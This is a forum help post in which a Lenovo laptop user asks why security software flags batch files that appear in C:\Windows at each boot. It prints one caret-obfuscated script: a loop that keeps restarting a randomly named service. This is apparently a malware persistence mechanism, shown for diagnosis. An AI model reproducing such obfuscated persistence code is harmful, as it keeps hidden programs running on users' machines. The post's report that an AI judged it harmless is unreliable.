虾仁 (@wvw) 在 电脑问题求助,联想电脑管家总是报可疑程序存在安全风险 中发帖
佬友们,电脑是联想的Y9000P,这两天电脑只要开机联想电脑管家就会弹窗:发现可疑程序,存在安全风险。
[弹窗截图]
这个bat脚本每次开机都会生成,位于 C:\Windows 下。
每次会生成两个,内容应该是混淆过的,但是扔给AI说是只是类似守护进程的脚本.
脚本1内容如下:
@ech^o off
:hJAyPVJKp
t^as^kl^ist /fi "PID eq 6328" | fi^nds^tr /i "6328" > nu^l
i^f er^ro^rl^e^vel 1 (
sc st^art "odiVvDFtzF"
exi^t
)
t^i^m^eout /t 10
got^o hJAyPVJKp
脚本2内容如下:
@ech^o...